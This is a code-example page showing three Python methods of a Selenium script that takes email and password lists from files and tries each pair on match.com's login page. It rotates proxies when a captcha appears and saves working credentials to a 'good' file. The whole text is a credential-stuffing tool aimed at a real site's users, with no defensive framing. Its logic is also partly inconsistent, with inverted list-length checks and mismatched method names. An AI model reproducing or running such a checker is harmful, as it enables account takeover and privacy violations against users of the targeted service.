Пример #1
0
    def match(browser, email, next, proxy, res):

        passwords = Files.get_file("config/pass.txt", check=1)
        emails = Files.get_file("config/emails.txt", check=1)

        login = emails[email]
        password = passwords[next]

        usernameInput = browser.find_element_by_id("email")
        passInput = browser.find_element_by_id("password")
        usernameInput.send_keys(login).click()
        passInput.send_keys(password).click()
        button = browser.find_element_by_xpath(
            "//button[@role = 'button']").submit()
        time.sleep(3)
        if browser.find_element_by_tag_name("iframe"):
            Logs.error("Captcha needed")
            browser.quit()
            Parser.before_auth(email, next, proxy=proxy + 1, res=0)
        else:
            current_url = browser.current_url
            if current_url == 'https://www.match.com/login':
                bad = "config/bad.txt"
                with open(bad, 'a') as file:
                    file.write(login + ":" + password)
                    Parser.before_auth(email, next=next + 1, res=0)
            else:
                good = "config/good.txt"
                with open(good, 'a') as file:
                    file.write(login + ":" + password)
                    Parser.before_auth(email, next=next + 1, res=1)
        Logs.create_log(browser, login, password)
Пример #2
0
 def proxy_settings(email, next, proxy, res):
     proxys = Files.get_file("config/proxy.txt", check=1)
     if len(proxys) >= proxy + 1:
         chrome_options = webdriver.ChromeOptions()
         chrome_options.add_argument('--proxy-server=%s' % proxys[proxy])
         browser = webdriver.Chrome('bin/chromedriver.exe',
                                    chrome_options=chrome_options)
         Parser.auth(browser, email, next, proxy, res)
     else:
         Logs.info("Proxy list is empty")
Пример #3
0
 def before_auth(email, next, proxy, res):
     emails = Files.get_file("config/emails.txt", check=1)
     if res == 1:
         if len(emails) <= email + 1:
             email = email + 1
         else:
             Logs.info("Emails list is empty")
     else:
         if len(emails) <= email + 1:
             Logs.info('Check auth from ' + emails[email])
             Parser.proxy_settings(email, next, proxy, res)
         else:
             Logs.Info("Emails list is empty")